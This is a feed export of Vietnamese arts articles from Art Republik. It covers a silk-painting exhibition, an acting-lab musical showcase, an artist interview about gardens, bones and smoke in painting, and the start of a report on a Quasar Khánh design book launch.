Cuộc rong chơi trong “thế giới lụa” của Tống Ngọc và Đỗ Duyên https://artrepublik.vn/cuoc-rong-choi-trong-the-gioi-lua-cua-tong-ngoc-va-do-duyen/ Fri, 13 Dec 2024 10:31:20 +0000 https://artrepublik.vn/?p=9382 Triển lãm đôi của đôi bạn thân Tống Ngọc và Đỗ Duyên – “Mộng mị giữa lưng trời”, sẽ đưa khách thưởng lãm lạc bước vào một thế giới hư ảo, nên thơ và đầy nữ tính. Cùng sinh năm 1984, Tống Ngọc và Đỗ Duyên là đôi bạn học thân thiết ngoài đời và […]

The post Cuộc rong chơi trong “thế giới lụa” của Tống Ngọc và Đỗ Duyên appeared first on Art Republik.

]]>
Triển lãm đôi của đôi bạn thân Tống Ngọc và Đỗ Duyên – “Mộng mị giữa lưng trời”, sẽ đưa khách thưởng lãm lạc bước vào một thế giới hư ảo, nên thơ và đầy nữ tính.

Cùng sinh năm 1984, Tống Ngọc và Đỗ Duyên là đôi bạn học thân thiết ngoài đời và cả trong nghệ thuật. Cùng một niềm đam mê, tính kỹ càng và sự nghiêm túc trong cuộc chơi với “lụa”. Nhưng Ngọc và Duyên là hai mảnh ghép tương phản đầy thú vị khi kể câu chuyện lụa của riêng mình.

Ngọc đến với lụa bằng đôi mắt hồn nhiên, thơ trẻ, tò mò và yêu thương vạn vật. Người phụ nữ trong tranh của Ngọc từ khi thơ bé, lúc niên thiếu, khi trưởng thành, lúc yêu đương đều là những khoảnh khắc đắm đuối, tận hưởng. Cuộc đời trong thế giới quan của Ngọc giống như một trò chơi, một ván bài có thua, có thắng, nhưng quan trọng nhất vẫn là một lần được vui.

Tống Ngọc, “Đoạn tương tư 3”
Tống Ngọc, “Mùa yêu 5”

Nếu như lụa của Ngọc là những mảng sáng trong trẻo tinh khôi, thoải mái hồn nhiên như cuộc sống, thì lụa của Duyên là sự huyền ảo, kỳ bí, đầy cuốn hút của bóng tối. Nếu Ngọc tập trung vẽ về góc nhìn của người phụ nữ, thì Duyên khai thác tối đa vẻ đẹp nữ quyền và thế giới nội tâm của người phụ nữ. Nàng thơ của Duyên vừa khao khát tự do, vừa giằng xé trong những trói buộc vô hình của những định kiến dành cho phái nữ. Bí ẩn trong suối tóc huyền uy quyền như một vũ khí tối thượng, người đàn bà trong tranh Duyên nhạy cảm, đa nhân cách, tràn đầy mâu thuẫn và đối lập, vừa hiện đại, vừa truyền thống, vừa quyến rũ mong manh, vừa lạnh lùng mạnh mẽ.

Đỗ Duyên, “Những mơ mộng của tôi 3” (2023), 84,5 x 104,5 cm
Tống Ngọc, “Màu hạnh phúc 2”

Tranh Ngọc trong veo, tươi sáng, tính cổ điển thấm đẫm trên từng phiến vải tựa làn sương, kỹ thuật và thủ pháp tinh mỹ, nhẫn nại để lại dấu ấn nữ tính rất tự nhiên trên từng tác phẩm. Tranh Duyên là sự phối ngẫu nhuần nhị giữa ý niệm, bố cục táo bạo với sự tỉ mỉ trong từng đường nét, giữa tương phản hòa sắc thâm trầm cá tính với sự bảng lảng mơ màng đã ngậm sâu trong mỗi thớ vải. Tính hiện đại của ngôn ngữ đồ hoạ ấn tượng trong tranh Duyên đã tạo ra lớp áo mới cho chất liệu hội họa xưa, mang đến sự giao thoa thú vị từ những hình tượng đã thân quen mà nay lại rất mới lạ.

Đỗ Duyên, “Ai là Ai” (2023), 106 x 202 cm
Đỗ Duyên, “Cô ấy và chính cô ấy 1” (2022), màu nước trên lụa, 86 x 106 cm

Phát biểu tại triển lãm, đại diện của Ginger Gallery, bà Nguyễn Thu Hương, giám tuyển của triển lãm cho biết: “‘Mộng mị giữa lưng trời’ cho ta bắt gặp những khoảnh khắc thật tinh tế và in sâu trong tâm hồn của người phụ nữ: đó là cảm giác thăng hoa, bay bổng, đó là khi các giác quan rung lên khi chạm vào thiên nhiên, đó có thể là cảm xúc yêu đương ngập tràn, hay cũng có thể là những giằng xé, bó buộc, nỗi cô đơn sâu thẳm và những khát khao chả thể nói ra. Chất liệu mong manh bảng lảng của lụa, những mảng màu loang phai như dấu ấn của thời gian càng làm cho sự nữ tính trong tranh của Ngọc và Duyên thêm dịu dàng, đằm thắm. Không chỉ là câu chuyện của sắc màu và hình ảnh, ‘Mộng mị giữa lưng trời’ là hơi thở, là tâm tư thầm kín được hé lộ của từng bức tranh”.

Thông tin triển lãm

– Triển lãm “Mộng mị giữa lưng trời” của Tống Ngọc và Đỗ Duyên diễn ra từ ngày 12 tháng 12 và kéo dài đến 12 tháng 1 năm 2025, tại Ginger Gallery – 195/16 Xô Viết Nghệ Tĩnh, P. 17, Q. Bình Thạnh, TP. HCM.

– Chương trình khai mạc và giao lưu với hoạ sĩ diễn ra trong khoảng thời gian 15:00–18:30 ngày 12 tháng 12 năm 2024; và 10:00–12:00 từ ngày 13 đến 15 tháng 12 năm 2024.

– Triển lãm vào cửa tự do (thời gian mở cửa: 10:00–17:00 hàng ngày)

Tống Ngọc

Tống Ngọc là hoạ sĩ tự do, và là một nhà sư phạm với 20 năm kinh nghiệm nghiên cứu và đóng góp cho sự nghiệp giảng dạy mỹ thuật cho trẻ em, tại các cơ sở đào tạo nghệ thuật trong nước và quốc tế. Tốt nghiệp chuyên ngành Sư phạm Mỹ thuật (2009) và Thạc sĩ chuyên ngành Hội họa (2016), Tống Ngọc là giảng viên Hội họa của Trung tâm Nghệ thuật Sol Art (Hà Nội) và Trường Nghệ thuật & Âm nhạc Polaris (Hà Nội). Trong thực hành nghệ thuật, Tống Ngọc tập trung sáng tác trên chất liệu lụa. Cô đã có hai triển lãm cá nhân nhận được nhiều sự quan tâm của công chúng yêu nghệ thuật (vào năm 2021 và 2022 tại Hà Nội), cô cũng góp mặt tại 20 triển lãm nhóm từ năm 2005 đến nay.

Tống Ngọc, “Dream 2”
Tống Ngọc, “Dream 3”

Đỗ Duyên

Đỗ Duyên là hoạ sĩ tự do và là giảng viên Mỹ thuật tại Đại học Thủ đô Hà Nội từ năm 2012. Cô tốt nghiệp chuyên ngành Đồ họa Tạo hình (2009) và Thạc sĩ chuyên ngành Đồ họa Tạo hình (2016), tại Đại học Mỹ thuật Việt Nam. Thực hành nghệ thuật của Duyên tập trung vào việc khai thác chất liệu màu nước trên giấy dó và lụa. Cô đã góp mặt tại 9 triển lãm mỹ thuật từ năm 2009 đến nay và được công chúng biết đến thông qua những sáng tác tranh lụa khổ lớn với đề tài phụ nữ.

Đỗ Duyên, “Cái nhìn” (2022), màu nước trên lụa, 75 x 98 cm
Đỗ Duyên, “Mộng ngày” (2023), 85 x 105 cm

The post Cuộc rong chơi trong “thế giới lụa” của Tống Ngọc và Đỗ Duyên appeared first on Art Republik.

]]>
The Auteurs’ Symphony: “Bữa tiệc” nhạc kịch https://artrepublik.vn/the-auteurs-symphony-bua-tiec-nhac-kich/ https://artrepublik.vn/the-auteurs-symphony-bua-tiec-nhac-kich/#respond Mon, 02 Dec 2024 06:53:07 +0000 https://artrepublik.vn/?p=9258 Khép lại hành trình luyện tập đầy cảm xúc, Đêm công diễn Acting Lab 6 – The Auteurs Symphony sẽ mở ra một dịp tụ họp đầy cảm hứng giữa khán giả yêu điện ảnh, các nghệ sĩ và nhà làm phim.

The post The Auteurs’ Symphony: “Bữa tiệc” nhạc kịch appeared first on Art Republik.

]]>
Khép lại hành trình luyện tập đầy cảm xúc, Đêm công diễn Acting Lab 6 – The Auteurs Symphony sẽ mở ra một dịp tụ họp đầy cảm hứng giữa khán giả yêu điện ảnh, các nghệ sĩ và nhà làm phim. 

Đêm nhạc kịch với những tiết mục đầy hứa hẹn

Acting Lab là một hoạt động thử nghiệm diễn xuất độc đáo, được khởi xướng bởi nhà làm phim Jay Do và triển khai bởi công ty phát triển điện ảnh Spring Auteurs. Mùa 6 Acting Lab – The Auteurs Symphony khai thác chủ đề nhạc kịch, giúp các diễn viên khám phá nhịp điệu trong diễn xuất. 

Trải qua quá trình luyện tập kéo dài hơn một tháng, các diễn viên đã cùng nhau sáng tạo, hỗ trợ và lựa chọn lẫn nhau, với một ước muốn chung: Mang đến một món quà ấn tượng dành tặng khán giả trong Đêm công diễn Acting Lab 6 – The Auteurs’ Symphony, sẽ diễn ra vào tối Chủ nhật, ngày 15 tháng 12 năm 2024, tại Sun Life S.Pace.

Tại sự kiện này, ngay trên sân khấu, các tài năng từ Acting Lab 6 sẽ tái hiện và biến hóa những phân cảnh nhạc kịch từ các bộ phim nổi tiếng như “Mamma Mia” (2008), “Les Miserables” (2012), “La La Land” (2016) và “Tick Tick Boom” (2021).

Spring Auteurs hy vọng sự kiện này sẽ mang đến một điểm chạm, tạo ra trải nghiệm tương tác và giao lưu trực tiếp giữa khán giả yêu điện ảnh với các nhà làm phim và các diễn viên biểu diễn. 

Bởi, hơn cả một buổi trình diễn, đây sẽ là dịp để khán giả tham gia vào hành trình sáng tạo vai diễn cùng các diễn viên, thông qua việc trực tiếp thảo luận, đóng góp ý kiến và khám phá những thực nghiệm diễn xuất mới mẻ. Từ đó, mở ra cơ hội kết nối, thúc đẩy sự hợp tác cho các dự án điện ảnh trong tương lai.

Giải thưởng “Diễn viên triển vọng nhất”

Đặc biệt, những người xem chính là những giám khảo quan trọng trong việc bình chọn ra người xứng đáng nhận danh hiệu “Diễn viên triển vọng nhất”. Đây là lần đầu tiên giải thưởng này xuất hiện tại Acting Lab, đánh dấu bước ngoặt mới nhằm ghi nhận và tôn vinh tài năng, sự cống hiến của các diễn viên trong suốt quá trình hoạt động tại Lab.

Cúp giải thưởng được chế tác thủ công bằng chất liệu gốm bởi chính những nghệ sĩ đa tài của Spring Auteurs. Lấy cảm hứng từ logo của Spring Auteurs, chiếc cúp là biểu tượng của người nghệ sĩ dũng cảm vượt sóng, không ngừng tìm kiếm và khám phá những giá trị điện ảnh sâu sắc.

Nhìn lại hành trình luyện tập đáng nhớ

Trước khi các diễn viên bước lên sân khấu để khẳng định tài năng và giành được sự công nhận xứng đáng, các diễn viên đã trải qua hành trình rèn luyện trong ba lĩnh vực: diễn xuất, giọng nói và vũ đạo; với sự đồng hành tận tâm từ các cố vấn:

– Hành trình khởi đầu đầy năng lượng với các buổi tập Giải phóng Hình thể cùng cố vấn Chi Ngô. Từ những bước đi ngại ngùng ban đầu, các bài tập đã phá vỡ mọi rào cản, giúp các diễn viên nhanh chóng kết nối với bạn diễn, giải phóng năng lượng thể chất và kích thích tư duy sáng tạo.

– Cùng với đó, các buổi thực nghiệm về Giọng nói do cố vấn Thiên Tú hướng dẫn đã mang đến góc nhìn mới mẻ. Thông qua những bài tập về nhịp, âm thanh hình thể và không gian trong lời nói, các diễn viên dần khám phá cách sử dụng giọng nói để khắc họa nhân vật một cách đa dạng, từ sự tĩnh lặng sâu lắng đến cảm xúc bùng nổ.

– Đặc biệt, các buổi học Jazz dance cùng cố vấn MeA Minh Anh đã mang đến trải nghiệm tuyệt vời về “ngôn ngữ chuyển động” trong nhạc kịch. Các diễn viên không chỉ làm quen với những động tác mạnh mẽ, phóng khoáng, mà còn học cách truyền tải cảm xúc tinh tế qua từng chuyển động hòa quyện cùng âm nhạc.

Tổng kết quá trình luyện tập này, Host và cố vấn Diễn xuất Jay Do chia sẻ: “Tại Acting Lab chúng mình luôn hướng tới một môi trường, nơi mà những buổi thực nghiệm trở thành những buổi thảo luận chuyên sâu, khiến cho tiếng nói của mọi người đều được lắng nghe, chạm tới. Từ đó mỗi thành viên đều có cơ hội nhìn lại những điều mình biết, những điều mình khám phá mới, và có góc nhìn am hiểu chuyên sâu hơn về đam mê mà tất cả cùng theo đuổi…”.

Hẹn gặp tại The Auteurs’ Symphony!

The Auteurs’ Symphony không chỉ là một buổi trình diễn, mà là dịp để các nghệ sĩ, nhà làm phim và khán giả tụ họp vào cuối năm 2024. Hãy cùng nhau thưởng thức nghệ thuật, chia sẻ đam mê và sáng tạo, khép lại một năm đầy cảm hứng và mở ra những cơ hội mới cho điện ảnh Việt Nam trong thời gian tới. 

Link đăng ký tham dự Đêm công diễn: https://forms.gle/eaeVeoh1zuVipinZ9

Thời gian: 17:00–21:00, Chủ nhật – 15.12.2024

Địa điểm: Sun Life S.Pace, 102C Nguyễn Văn Cừ, Phường Nguyễn Cư Trinh, Quận 1, TP. Hồ Chí Minh.

Hạn chót đăng ký: 12.12.2024

Lưu ý: Đây là sự kiện cộng đồng không thu phí tham dự, nhưng do số lượng khách tham dự có giới hạn, Spring Auteurs khuyến khích bạn đăng ký sớm.

The post The Auteurs’ Symphony: “Bữa tiệc” nhạc kịch appeared first on Art Republik.

]]>
https://artrepublik.vn/the-auteurs-symphony-bua-tiec-nhac-kich/feed/ 0
“Những địa hạt phù du” – Cuộc đối thoại của những thực thể thầm lặng https://artrepublik.vn/nhung-dia-hat-phu-du-cuoc-doi-thoai-cua-nhung-thuc-the-tham-lang/ https://artrepublik.vn/nhung-dia-hat-phu-du-cuoc-doi-thoai-cua-nhung-thuc-the-tham-lang/#respond Fri, 29 Nov 2024 10:32:21 +0000 https://artrepublik.vn/?p=9195 Cuộc trò chuyện với hai nghệ sỹ Nguyễn Việt Anh và Mifa, cùng giám tuyển Vân BB, hé lộ quá trình chuẩn bị và những suy ngẫm hình thành nên triển lãm đôi “Những địa hạt phù du”.

The post “Những địa hạt phù du” – Cuộc đối thoại của những thực thể thầm lặng appeared first on Art Republik.

]]>
Cuộc trò chuyện với hai nghệ sỹ Nguyễn Việt Anh và Mifa, cùng giám tuyển Vân BB, hé lộ quá trình chuẩn bị và những suy ngẫm hình thành nên triển lãm đôi “Những địa hạt phù du”, diễn ra tại Wiking Salon (TP. HCM).

Sự kết hợp giữa Nguyễn Việt Anh và Mifa

Được biết, đây là lần đầu tiên cả Nguyễn Việt Anh và Mifa tổ chức triển lãm đôi, trong buổi trò chuyện, khi nói về lý do quyết định kết hợp hai nghệ sỹ với hai nét thực hành vô cùng khác biệt, giám tuyển Vân BB đã chia sẻ rằng:

“Ấn tượng ban đầu về tranh của hai nghệ sỹ Mifa và Nguyễn Việt Anh là sự tương phản trong cách biểu hiện, điều này là một bài tập và thử thách cho tôi trên hành trình khám phá sợi dây kết nối, xâu chuỗi lại các tự sự của hai thực hành với nhau. Khi chúng tôi càng nói chuyện, có một khoảnh khắc khi Mifa chia sẻ về cảm hứng của chị, về việc những tảng đá hóa thành các mảng hóa thạch; khi đó tôi bỗng có một sự liên kết về những vật chất rắn và cứng, chúng có sự tương đồng với những khối bê tông trong kiến trúc trong tranh của Nguyễn Việt Anh. Sau đó, tôi tìm ra được sự liên kết là những khu vườn và bộ xương hóa thạch, và cách chúng đều tạo thành những chiều không gian mang tính rất riêng tư của hai người.”

Hình ảnh không gian triển lãm tại Wiking Salon.

Vườn, xương

Khi nói đến chủ đề vườn và xương thì xuất phát điểm, điểm tiếp cận của hai nghệ sỹ về hai chủ đề tưởng chừng không liên quan lại có những điểm tương đồng:

Nguyễn Việt Anh: “Vườn của tôi là một thế giới, và tôi là người chăm sóc thế giới đó, và thế giới ấy cũng chăm sóc lại chính người tạo ra nó. Cái vườn trong cảm giác của tôi từ thời kỳ đầu đến bây giờ là một thế giới do tôi tạo ra. Nó là một gia đình. Và sự tương quan giữa các đối tượng nhỏ ở trong vườn đó, chính là những thành viên trong gia đình của tôi, và nó cũng là nhật ký bằng hình ảnh về gia đình tôi.”

Nguyễn Việt Anh, “Vườn” (2024), 30 x 40 cm, sơn dầu trên toan.

Mifa: “Khi nói về vườn, về mặt cảm xúc cá nhân, từ khi còn bé tôi đã luôn có một niềm yêu thương đặc biệt với những khu vườn trong ngôi nhà mà gia đình mình chuyển đến và đi.  Tôi thấy được năng lượng yêu thương, chăm sóc và để tâm đến nó. Khi tôi bắt đầu đào sâu nghiên cứu về kỹ thuật vẽ Á Đông để có thể thực hành tốt nhất trên giấy điệp, để làm nổi cái đẹp của giấy điệp lên; một trong những tư tưởng mà tôi rất thích của triết học phương Đông đó là: vạn vật kết nối với nhau và con người là một trong những thể đó. Cách nhìn ấy khiến cho tôi nghĩ đến sự kết nối mọi thứ ở trong khu vườn; có thể là một khu vườn, có thể là dạng nhỏ của một khu rừng. Khi ngẫm về những điều ấy, tôi nhìn thấy việc mọi thứ được sinh ra, sinh sống, sinh sản, có những hoạt động vòng đời của chúng, rồi chết đi và trở thành một dưỡng chất phụ trợ cho vườn – một vòng kết nối rất chặt chẽ – nó gợi lên cho tôi rất nhiều cảm xúc về việc con người chúng ta cũng là những cá thể đơn độc. Chúng ta cũng là một phần của thiên nhiên, cũng là một tạo vật, cũng luôn cố gắng tìm cách để kết nối với nhau như thế.”

Nguyễn Việt Anh: “Xương trong vườn. Trong vườn của tôi có lúc có khói, có lúc có sương, có lúc có những cái diện – đại diện cho tiền chủ và cũng là đại diện cho vật chất cứng. Với tôi cả ba yếu tố đó nó giống như xương vậy. Xương là sự cứng, thể hiện cho ta một sự vững chắc. Khi tôi vẽ bức xương, đặt lên cái cây, trong một thời gian ngắn, tôi cảm thấy sự vững chắc đang bị sụp đổ. Sau đó, khi tôi theo dõi hành trình của gia đình mình, từ sự theo dõi đó, tôi bắt đầu đưa lá, đưa cây, đưa khói vào. Những cái yếu tố đó; cây, khói, lá hay là bê tông, nó là tôi ở trong đó, là xương. Là sự kết nối của những vật chất còn lại. Khói cũng như bê tông, chúng nằm ở trong giai đoạn khi tôi ngắm nhìn cuộc sống của mình. Khi thực hành và làm tranh trong bốn năm gần đây, tôi dần bắt đầu xây dựng một thế giới mà ở đó tôi không bị phụ thuộc vào bên ngoài nữa. Tôi được quyền tự do, được quyền tạo dựng, bắt đầu những quy tắc và vật lý theo cách của riêng mình, hoàn toàn cả về tạo hình và không gian.”

Nguyễn Việt Anh, “Vườn” (2024), 30 x 70 cm, sơn dầu trên toan.

Mifa: “Trong vườn của tôi, một trong những yếu tố có điểm chạm rất lớn đó là cục đá. Một vật chất tượng trưng cho một thứ nhìn có vẻ rất rắn chắc, trơ lì, chịu đựng được sự bào mòn của thời gian. Nhưng bề mặt của đá nói lên rất nhiều về sự tác động của thời gian, của những diễn biến, sự việc cuộc sống qua đó. Nghĩ đến chuyện sự tác động thời gian ấy xảy ra nhiều như thế nào, và những thứ đá đã chứng kiến, tôi nảy sinh sự rung động về cụm từ: ‘xung động nội tại của con người’”.

Mifa, “Gánh nặng ký ức 1000 năm” (2024), 80 x 120 cm, sơn acrylic và vàng lá trên giấy điệp bồi lên khung vải bố.

Mifa: “Sự xung động này có thể đến từ bất cứ ai, hoặc bất cứ tạo vật sống nào cũng sẽ có. Nhưng ở những tạo vật sống có vẻ bề ngoài càng bất biến, thì sự xung động nội tại đó, đối với tôi, càng tương phản bởi vì nó không thể hiện ra bên ngoài. Và những thứ cuộn sóng, hay là những diễn biến bên trong tạo vật ấy, đối với tôi, trở nên nổi bật hơn rất nhiều. Ngoài ra, đá còn là một thứ có năng lượng tương phản với cột đá trong vườn của tôi mà tôi thể hiện trong bức ‘Cuộc đời thầm lặng của một cây nấm’”. 

Mifa, “Cuộc đời thầm lặng của một cây nấm” (2021–2024), 140 x 100 cm, sơn acrylic và vàng lá trên giấy điệp bồi lên khung vải bố.

Mifa: “Bức tranh này là về nấm và địa y. Nấm và địa y, đối với tôi, là biểu tượng của sự kết nối. Tôi từng đọc được một thuyết dựa trên thực tế về nấm và địa y; khi mình chạm vào một cây nấm ở trong một quần thể nấm, thì tất cả những cây nấm còn lại đều cảm nhận được sự tác động vật lý ấy. Tôi thấy vô cùng cảm động khi đọc thuyết đó bởi vì đối với tôi, đó là một thể vô cùng chặt chẽ và rõ nét về sự đồng cảm, sự tương quan đến nhau. Một điều mang tính tình thương, thương cảm tôi cảm nhận được khi nhìn vào một thể sống trong thiên nhiên. Qua sự kết nối đó, tôi thấy được một đường năng lượng chảy ra rất dồi dào từ cây nấm. Ngược lại thì cục đá dường như là một thứ bị bóc tách ra khỏi sự kết nối với mọi điều. Nhưng, khi đặt nó ở trong thể của vườn, thì cục đá cũng là một trong những tạo vật trong một không gian lớn, và tôi nghĩ sự kết nối của cục đá với những tạo hợp khác trong vườn đến từ một thứ gì đó rất vi tế. Bởi lẽ bản chất của cục đá là giữ lại mọi thứ bên trong nó, mang trên mình cái vẻ trơ lì và bất biến, nhưng thực chất đá cũng là một trong những thể sống mà tôi cảm nhận được, cũng có một đường dây kết nối vô hình với những thứ khác trong khu vườn ấy, điều đó khiến tôi rung động.”

Và khói

Nếu như vườn và xương là hai chủ thể chung, kết nối lại sợi dây và khoảng không của hai nghệ sỹ với nhau thì khói, đối với Nguyễn Việt Anh, lại gắn liền với một câu chuyện cá nhân, mang tính đánh dấu một cột mốc mới trong thực hành của anh.

Nguyễn Việt Anh: “Năm 2021 tôi bị cháy xưởng, cũng là nhà của tôi. Trước đó, tôi cũng đã thực hành tương đối nhiều. Sau khi ra trường tôi cũng mày mò đủ thứ; hiện thực, lãng mạng, v.v.. Lúc nào tôi cũng cảm thấy thiếu, tôi đã không biết rằng, chỉ cần là mình thôi đã đủ rồi. Tôi cứ đi tìm, tìm cách nào đó cho nó đủ thêm. Đến thời điểm bị cháy xưởng, tự nhiên trong đầu tôi nảy sinh rất nhiều trạng thái. Và trong khoảnh khắc cháy xưởng, có lúc tôi sụp đổ nhưng có khi tôi lại thấy có một thứ gì đó giống như là một cái lá mọc lên; tự nhiên, có một sự cắt phựt trong đầu tôi và tôi thấy rằng: ‘À, bây giờ, tự nhiên, tôi có thể rút ra được những gì mình đang muốn làm nhất trong hành trình của mình, không còn bị mắc lại bởi những sự tìm tòi ở đây’. Tôi biết được thứ còn của mình là gì, và từ đó tôi tiếp tục.”

Nguyễn Việt Anh, “Một đám khói” (2021), 80 x 80 cm, sơn dầu trên toan.

Con người trong những địa hạt phù du

Một điểm chung khác trong tranh của hai nghệ sỹ đó là sự “kiệm người”. Sự xuất hiện của con người trong tranh của Nguyễn Việt Anh và Mifa rất khiêm tốn và mang tính quan sát, tương quan với thiên nhiên, để những vật thể khác tiến lên tiền cảnh, gần lại với người xem.

Mifa: “Khi tôi nghiên cứu về tư tưởng triết học của phương Đông, có một điều tôi thấy, đó là nó rất đối lập với tư tưởng triết học phương Tây. Nền tảng triết học phương Tây lấy con người làm trung tâm, và điều này thể hiện rất rõ trong kĩ thuật của họ. Họ đặt con người làm trung tâm, sau đó là diễn tả mọi thứ một cách chính xác nhất theo mắt nhìn. Đó là điều tạo nên đặc trưng của hội họa phương Tây. Từ đó, tôi phải nghiên cứu lại về sự khác biệt và cái hay của hội họa phương Đông nằm ở đâu khi đặt cạnh hội họa phương Tây. Bởi tôi nghĩ hội họa là một sự thể hiện của tinh thần triết học. Tinh thần triết học phương Đông của châu Á, đặc biệt là khối Đông Á, khối Đồng Văn, đó là: con người là một thể của vạn vật. Khác với phương Tây, con người giờ đây chỉ là một phần nhỏ thôi. Và cái sự suy ngẫm này đến đúng thời điểm với cảm xúc của tôi; ở thời điểm tôi có vấn đề về lòng tự trọng, cảm thấy mình quá nhỏ bé và yếu đuối, không sẵn sàng để bộc lộ bản thân mình ra nữa. Vậy nên, thay vì tập trung thể hiện con người hoặc bản thân một cách quá trực tiếp, tôi có thể thể hiện bản thân qua cách tôi nhìn thiên nhiên, vạn vật xung quanh. Việc ‘kiệm người’ ở trong tranh của tôi đến từ hai lý do như vậy. Thứ nhất, là việc nghiên cứu về tư tưởng triết học và hội họa của Đông Á, thứ hai, là về cảm xúc của mình.”

Nguyễn Việt Anh: “Tôi không muốn tập trung vào câu chuyện của một nhân vật mà muốn tập trung câu chuyện và hình ảnh vào không gian của tranh, vào sự thể hiện của các đối tượng mà vốn đã có sự sống của nó rồi. Khi đặt con người vào đây, tôi cảm thấy tự nhiên người ta sẽ bắt đầu muốn tìm hiểu là: ‘À, anh này có vấn đề gì hoặc gì đó’. Tự nhiên sẽ có một câu chuyện đi với con người đó, điều ấy sẽ làm giảm đi tính khả năng, và con người trở thành một phương tiện đo. Không gian của con người là một phương tiện rất dễ đo. Khi đã biết tỉ lệ của nhau thì việc đặt con người vào trong một không gian sẽ khiến ta biết được không gian đấy rộng, bé hay hẹp. Người ta sẽ vơi đi cảm giác muốn đi tìm không gian này, hay mất đi cảm giác mơ hồ thoạt đầu.”

Dát vàng trên giấy điệp

Kỹ thuật dát vàng trên giấy điệp là một trong những thực hành yêu thích của Mifa, tạo nên điểm nhấn đặc biệt, tuy là tranh trên giấy nhưng người xem lại có cảm giác như đang được nhìn ngắm những bức tranh sơn mài nhờ kỹ thuật này.

Mifa, “Dòng chảy địa tầng” (2021), 100 x 140 cm, sơn acrylic và vàng lá trên giấy điệp bồi lên khung vải bố.

Mifa: “Dát vàng trên giấy là một kỹ thuật tôi học được từ một nghệ sỹ người Hồi giáo. Kỹ thuật này vốn là kỹ thuật dát vàng trang trí trên sách kinh Qu’ran của Hồi giáo. Trước đến nay tôi chỉ biết chuyện dát vàng trên sơn mài thôi, bề mặt để dát sẽ là trên vóc hoặc là trên gỗ. Nhưng khi biết đến việc dát vàng trên giấy thì tôi đã rất ấn tượng, kể cả khi tôi chưa biết đến giấy điệp. Và khi thực hành với giấy điệp, tôi thấy nó trở thành một cái điểm nhấn và thứ hai, nó có thể tăng sự lấp lánh của giấy điệp lên. Giấy điệp có sự lấp lánh, lung linh, mơ mộng rất nhiều. Và việc dát vàng lên giấy tạo nên một sự tương phản về chất liệu. Bởi vì vàng là chất liệu rắn và nó tình cờ phù hợp với cảm nhận của tôi về giấy điệp. Giấy điệp là một chất điệu giấy mỏng manh, nhưng khi thử sờ lên bề mặt thì lại có cảm giác như đang sờ lên một bề mặt đá thô ráp. Lá vàng đối với tôi cũng mang một cảm giác như vậy, và tôi thích sự tương phản trong cảm xúc như thế.”

Khuê Nguyễn

THÔNG TIN TRIỂN LÃM

Nghệ sỹ: Nguyễn Việt Anh, Mifa

Đơn vị tổ chức: Wiking Salon

Giám tuyển: Lân Tinh Foundation

Đối tác: CARA – Lighting Solutions, Artician

Địa điểm: Wiking Salon, Tầng trệt – Tòa nhà Centec, 72 Nguyễn Thị Minh Khai, P. 6, Q. 3, TP. Hồ Chí Minh

Thời gian: 09.11.2024–08.12.2024

Giờ mở cửa: Thứ 5 đến Chủ Nhật: 09h00–18h00

Vào cửa miễn phí với lịch đặt hẹn trước: https://shorturl.at/QlGP7

The post “Những địa hạt phù du” – Cuộc đối thoại của những thực thể thầm lặng appeared first on Art Republik.

]]>
https://artrepublik.vn/nhung-dia-hat-phu-du-cuoc-doi-thoai-cua-nhung-thuc-the-tham-lang/feed/ 0
Di sản của một nhà tiên phong: Kết nối quá khứ – hiện tại – tương lai https://artrepublik.vn/di-san-cua-mot-nha-tien-phong-ket-noi-qua-khu-hien-tai-tuong-lai/ https://artrepublik.vn/di-san-cua-mot-nha-tien-phong-ket-noi-qua-khu-hien-tai-tuong-lai/#respond Thu, 28 Nov 2024 09:19:58 +0000 https://artrepublik.vn/?p=9135 Ấn phẩm “Quasar Khánh – Nhà thiết kế huyền thoại” tôn vinh di sản sáng tạo của một trong những nhà tiên phong của thế kỷ 20 – Quasar Nguyễn Mạnh Khánh.

The post Di sản của một nhà tiên phong: Kết nối quá khứ – hiện tại – tương lai appeared first on Art Republik.

]]>
Chiều ngày 25 tháng 11 năm 2024, tại Trung tâm Văn hóa Nghệ thuật (Hà Nội), Luxuo cùng The CreaTV Company đồng tổ chức sự kiện ra mắt sách “Quasar Khánh – Nhà thiết kế huyền thoại, tôn vinh di sản sáng tạo của một trong những nhà thiết kế tiên phong của thế kỷ 20 – Quasar Nguyễn Mạnh Khánh.

Di sản của một nhà thiết kế huyền thoại

Thông qua sự dẫn dắt, kết nối của chị Nikita Chu – Tổng biên tập Tatler Vietnam, buổi ra mắt ấn phẩm “Quasar Khánh – Nhà thiết kế huyền thoại” diễn ra trong một bầu không khí ấm cúng, trang trọng với không gian trưng bày sách, tạp chí, hình ảnh về cuộc đời và sự nghiệp của Quasar Khánh, cùng hai tác phẩm tiêu biểu của ông: ghế bơm hơi trong bộ sưu tập Hàng không vũ trụ và ghế tựa Nervure. Đây là các tác phẩm thể hiện rõ nét tư duy thiết kế vượt thời gian, khẳng định vị thế của Quasar Khánh như một biểu tượng tiên phong trong ngành thiết kế thế giới.

Chị Nikita Chu – Tổng biên tập Tatler Vietnam, trong vai trò host cho sự kiện ra mắt sách “Quasar Khánh – Nhà thiết kế huyền thoại”.
Khu vực trưng bày ba phiên bản của cuốn sách: tiếng Pháp, tiếng Anh và tiếng Việt.
Khu vực trưng bày sách “Quasar Khánh – Nhà thiết kế huyền thoại”, tạp chí Tatler và tạp chí L’OFFICIEL.

Cuốn sách “Quasar Khánh – Nhà thiết kế huyền thoại” là kết tinh từ nhiều năm nghiên cứu công phu, do nhà thiết kế Fabrice Peltier chấp bút và lời tựa được đặt bởi nhà thiết kế Philippe Starck. Những thành tựu nổi bật của Quasar Khánh, trong đó có dòng nội thất bơm hơi Hàng không vũ trụ (Aerospace), được giới thiệu trong cuốn sách như một biểu tượng cách mạng của thiết kế nội thất những năm 1960–1970. Bên cạnh đó, các sáng chế như xe hơi hình khối Quasar Unipower (Cube Car), thiết kế đĩa bay lượn QuasArk Hydrair, v.v. không chỉ phá vỡ các quy tắc truyền thống, mà còn phản ánh tinh thần phóng khoáng của thời đại.

Đồng thời, cuốn sách còn tái hiện bức tranh toàn diện về sự nghiệp của Quasar Khánh thông qua loạt bài viết, hình ảnh tư liệu quý giá. Nổi bật là những đóng góp của Othello Khánh – con trai ông, và Michèle deAlbert – Giám đốc điều hành Quasar Khanh International, người đã gìn giữ và phát triển các di sản của Quasar Khánh. Đặc biệt, cuốn sách nhấn mạnh cách Quasar Khánh sử dụng các vật liệu thân thiện với môi trường, mở đường cho phong trào thiết kế bền vững – một xu hướng quan trọng trong thế kỷ 21.

Những câu chuyện kết nối quá khứ với hiện tại

